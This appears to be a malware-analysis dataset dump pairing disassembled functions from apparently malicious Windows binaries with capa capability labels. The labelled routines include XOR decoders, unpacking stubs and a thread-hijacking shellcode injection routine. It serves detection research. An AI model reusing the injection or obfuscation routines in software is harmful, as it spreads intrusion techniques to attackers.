joyce8/EMBER2024-capa huggingface dataset:
Function at 0x11c6060
Capabilities:
Encode data using xor

Disassembly:
push edi
push esi
push eax
mov dword [esp], 0x11102ffe
mov eax, esp
mov ecx, 0x21
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax]
lea esi, [ecx - 0x225a3100]
or esi, edx
and edx, ecx
lea edi, [esi + esi]
not edi
add edi, esi
or edi, edx
add edi, 0xed2e790f
mov edx, edi
and edx, 1
xor edi, 1
lea edx, [edi + edx*2]
mov byte [eax], dl
inc eax
dec ecx
cmp ecx, 0x1d
jne 0x11c6080
mov eax, dword [esp]
mov eax, dword fs:[eax]
add esp, 4
pop esi
pop edi
ret

Function at 0x11c6e60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov dword [esp], 0xc8c9cacb
mov eax, 0x967dcd54
nop
nop
movzx edx, byte [esp + eax + 0x698232ac]
xor edx, eax
mov ecx, edx
and ecx, 0x5f
add ecx, ecx
xor edx, 0xa0
sub ecx, edx
mov byte [esp + eax + 0x698232ac], cl
inc eax
cmp eax, 0x967dcd58
jne 0x11c6e80
mov eax, dword [esp]
mov edx, dword [0xef965c]
test edx, edx
je 0x11c6ef8
xor ebx, ebx
mov ecx, dword [0xef9660]
nop
nop
nop
cmp dword [ecx + ebx*8], 0xa269eeef
je 0x11c6ed0
inc ebx
cmp edx, ebx
jne 0x11c6ec0
jmp 0x11c6ef8
mov edx, dword [ecx + ebx*8 + 4]
cmp edx, eax
je 0x11c6ef8
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0x18
push eax
push ecx
push dword [ebp + 8]
push 0x14
push edx
push dword [0xef9664]
call fcn.011c4a80
add esp, 0x20
test edi, edi
je 0x11c6f02
mov ecx, dword [esp + 8]
mov dword [edi], ecx
test esi, esi
je 0x11c6f0e
cmp byte [esp + 0x15], 0
setne byte [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x11c71d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [esp + 0x48]
mov esi, dword [esp + 0x44]
mov edx, dword [esp + 0x40]
mov edi, dword [esp + 0x38]
mov ebx, 0xfffffffe
nop
nop
nop
nop
cmp word [edi + ebx + 2], 0
lea ebx, [ebx + 2]
jne 0x11c71f0
sar ebx, 1
mov ecx, ebx
and ecx, 2
mov ebp, ebx
or ebx, 2
imul ebx, ecx
xor ecx, 2
and ebp, 0xfffd
imul ebp, ecx
lea ecx, [ebx + ebp]
mov word [esp + 4], cx
lea ecx, [ebx + ebp]
add ecx, 2
mov word [esp + 6], cx
mov dword [esp + 8], edi
mov dword [esp + 0xc], 0x18
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], 0x40
lea eax, [esp + 4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp], 0xc8c9cacb
mov eax, 0x967dcd54
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x698232ac]
xor ecx, eax
mov ebx, ecx
and ebx, 0x5f
add ebx, ebx
xor ecx, 0xa0
sub ebx, ecx
mov byte [esp + eax + 0x698232ac], bl
inc eax
cmp eax, 0x967dcd58
jne 0x11c7270
mov eax, dword [esp]
mov edi, dword [0xef965c]
test edi, edi
je 0x11c72e5
xor ebx, ebx
mov ebp, dword [0xef9660]
nop
nop
nop
cmp dword [ebp + ebx*8], 0xb7847e1b
je 0x11c72c1
inc ebx
cmp edi, ebx
jne 0x11c72b0
jmp 0x11c72e5
mov edi, dword [ebp + ebx*8 + 4]
cmp edi, eax
je 0x11c72e5
lea eax, [esp + 0xc]
push esi
push eax
push edx
push dword [esp + 0x48]
push 0x10
push edi
push dword [0xef9664]
call fcn.011c4a80
add esp, 0x1c
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0xdd4058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xdd41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xdd407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xdd406a
add dl, dl
jne 0xdd4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xdd40dc
xor eax, eax
add dl, dl
jne 0xdd4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xdd417d
add dl, dl
jne 0xdd40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xdd40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xdd40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xdd40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xdd40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xdd4075
mov eax, 1
add dl, dl
jne 0xdd40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xdd40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xdd40e1
sub eax, ebx
mov ebx, 1
jne 0xdd4128
mov ecx, 1
add dl, dl
jne 0xdd410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xdd4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xdd4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xdd4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xdd413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xdd414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xdd4136
cmp eax, 0x7d00
jae 0xdd416d
cmp eax, 0x500
jb 0xdd4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xdd4075
cmp eax, 0x7f
ja 0xdd4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xdd4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xdd419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xdd4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4051a8
Capabilities:
Get geographical location

Disassembly:
xlatb
pop edx
push 0x4c3de2b6
mov ecx, 0x4c3de2b6
pop esi
xor ecx, esi
xor ecx, eax
sub ecx, edx
and ecx, 0xffff8000
xor edx, edx
add edx, ecx
or edx, 0
je 0x4051f1
mov ebx, 0x20702c82
mov edx, 0x2880208
xor ebx, edx
push ebx
mov edx, 0xad417567
add edx, 0xf0
push edx
pop edi
pop edi
jmp 0x4051f7
nop
jmp 0x4051f8
ret
push 0x69f14f01
mov ecx, 0x4d61101
pop edx
xor ecx, edx
push ecx
mov ebx, 0x6008a2
mov ecx, 0x6d070208
or byte [edx], al
pop es
insd dword es:[edi], dx
xor ebx, ecx
pop eax
xor ebx, eax
call ebx
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405245
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40524e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405258
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405279
mov al, byte [esp]
jmp 0x40527b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x434190
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1d000]
push edi
jmp 0x4341aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4341b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4341a0
mov eax, 1
add ebx, ebx
jne 0x4341c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4341b8
jne 0x4341d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4341b8
xor ecx, ecx
sub eax, 3
jb 0x4341e8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x43425a
mov ebp, eax
add ebx, ebx
jne 0x4341f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x434200
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x434224
inc ecx
add ebx, ebx
jne 0x434210
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x434205
jne 0x434221
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x434205
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x434244
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x434235
jmp 0x4341a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x434244
add edi, ecx
jmp 0x4341a6
pop esi
mov edi, esi
mov ecx, 0xa80
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x434262
cmp byte [edi], 7
jne 0x434262
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x434267
lea edi, [esi + 0x32000]
mov eax, dword [edi]
or eax, eax
je 0x4342df
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3884c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x38928]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x434294
mov ecx, edi
jns 0x4342c3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3892c]
or eax, eax
je 0x4342d9
mov dword [ebx], eax
add ebx, 4
jmp 0x4342b1
call dword [esi + 0x3893c]
mov ebp, dword [esi + 0x38930]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x434313
sub esp, 0xffffff80
jmp 0x4180b5
Function at 0x401180
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x338], ecx
mov dword [ebp - 0x334], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x334]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40120d
mov ebx, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
push 0x104
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x108]
push eax
call ebx
push dword [ebp - 0x338]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 0x14
test eax, eax
jne 0x40122d
lea eax, [ebp - 0x334]
push eax
push esi
call edi
test eax, eax
jne 0x4011d0
cmp esi, 0xffffffff
je 0x401219
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406232
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x32c]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00406232
mov esp, ebp
pop ebp
ret
Function at 0x4017d0
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x14
push 0
push eax
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push 4
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x40], 0x1c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x401846
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_Thread32Next]
cmp dword [ebp - 0x34], edi
je 0x401971
lea eax, [ebp - 0x40]
push eax
push esi
call ebx
test eax, eax
jne 0x401832
cmp esi, 0xffffffff
je 0x401852
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x40195e
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x30c]
mov dword [ebp - 0x30c], 0x1003f
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, dword [ebp - 0x310]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x254]
mov ebx, dword [ebp - 0x314]
sub ecx, edx
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub ecx, 0x15
mov dword [ebp - 0xb], eax
mov eax, dword [ebp + 0x14]
sub eax, edx
mov dword [ebp - 0x254], edx
push 0
sub eax, 0xd
mov word [ebp - 0x20], 0x6660
push 3
mov dword [ebp - 0x13], eax
lea eax, [ebp - 0x20]
push eax
push edx
push ebx
mov byte [ebp - 0x1e], 0x60
mov byte [ebp - 0xc], 0x68
mov byte [ebp - 0x14], 0xe8
mov word [ebp - 0x24], 0x6166
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x1c], 0xe9
mov dword [ebp - 0x1b], ecx
call esi
push 0
push 5
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x310]
add eax, 3
push eax
push ebx
call esi
push 0
push 5
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x310]
add eax, 8
push eax
push ebx
call esi
push 0
push 3
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x310]
add eax, 0xd
push eax
push ebx
call esi
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x310]
add eax, 0x10
push eax
push ebx
call esi
lea eax, [ebp - 0x30c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406232
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp - 0x38]
jmp 0x401854
Function at 0x4061de
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push 0x4082f0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x406205
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x406208
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.004061ba
pop esi
leave
ret 8

Function at 0x406ac9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406b08
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406b08
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406b08
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406b08
cmp dword [ecx + 0x74], 0xe
jbe 0x406b08
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x6c8871a5
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x616557cc
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x1001948e
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x100194b3
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x100194ae
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
jmp 0x1001955e
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx]
cmp dword [eax], ecx
jl 0x100194ec
mov dword [ebp - 0x10], 1
jmp 0x100194f0
and dword [ebp - 0x10], 0
cmp dword [ebp - 0x10], 1
je 0x100194ff
mov dword [ebp - 0x14], 1
jmp 0x10019503
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp dword [ebp - 0x14], eax
jne 0x10019516
mov dword [ebp - 0x18], 1
jmp 0x1001951a
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
add eax, 0x2daa
mov ecx, dword [ebp - 8]
sub eax, dword [ecx]
mov ecx, dword [ebp - 8]
cmp eax, dword [ecx]
jge 0x10019537
mov dword [ebp - 0x1c], 1
jmp 0x1001953b
and dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0
jle 0x10019552
mov eax, dword [ebp - 8]
cmp dword [eax], 0
je 0x10019552
mov dword [ebp - 0x20], 1
jmp 0x10019556
and dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10022942
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1002295c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x100229bc
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
push 0x465f
mov eax, dword [ebp - 0x14]
push dword [eax]
mov eax, dword [ebp - 0x18]
push dword [eax]
push 0x1f5f
push 0x7e05
push 0
push 0x635f
push dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
push dword [eax]
call fcn.10022335
add esp, 0x24
mov esp, ebp
pop ebp
ret
Function at 0x1002873e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x1b73
push 0x45ea
push 1
call fcn.10027185
add esp, 0x14
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10028778
xor eax, eax
jmp 0x100288cb
push 0x832
lea eax, [ebp - 8]
push eax
push 0x6850
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
push 1
push 0x69e2
call fcn.100271dd
add esp, 0x1c
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x100287af
xor eax, eax
jmp 0x100288cb
push 1
push 0x5363
push 0x7cbe
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
call fcn.100284f1
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x100287d8
xor eax, eax
jmp 0x100288cb
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push dword [ebp - 8]
push dword [ebp - 0x10]
lea eax, [ebp - 4]
push eax
call fcn.10027059
add esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp + 8]
push eax
push 0x3b21
push 0x79c0
call fcn.10028556
add esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.100285eb
add esp, 0xc
cmp dword [ebp - 0x14], 0
je 0x10028845
lea eax, [ebp - 4]
push eax
push 1
push 0x54ef
lea eax, [ebp - 0x14]
push eax
call fcn.10028619
add esp, 0x10
push dword [ebp - 4]
call fcn.10026e2e
pop ecx
test eax, eax
jne 0x10028856
xor eax, eax
jmp 0x100288cb
push 1
push 0x2dbf
push 0xba4
lea eax, [ebp - 4]
push eax
call fcn.1002868b
add esp, 0x10
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x100288b3
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x1002888d
xor eax, eax
jmp 0x100288cb
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x100288a6
xor eax, eax
jmp 0x100288cb
push 1
lea eax, [ebp - 4]
push eax
call fcn.10028706
pop ecx
pop ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x100288c4
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x100288c8
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x10039878
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x100398b8
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push 0xf
push 5
call fcn.100365de
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
jmp 0x100398c2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov esp, ebp
pop ebp
ret

Function at 0x10039b52
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10039b7b
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
add eax, 4
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
jmp 0x10039b96
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10039b96
push 0x17a8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esp, ebp
pop ebp
ret

Function at 0x10039fae
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1003a02c
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
lea eax, [ecx + eax*2]
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 4]
mov edx, dword [edx]
mov esi, dword [ebp - 0x28]
add edx, dword [esi]
mov esi, dword [ebp - 8]
mov esi, dword [esi]
mov ax, word [ecx + eax]
mov word [esi + edx], ax
jmp 0x1003a032
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
pop esi
mov esp, ebp
pop ebp
ret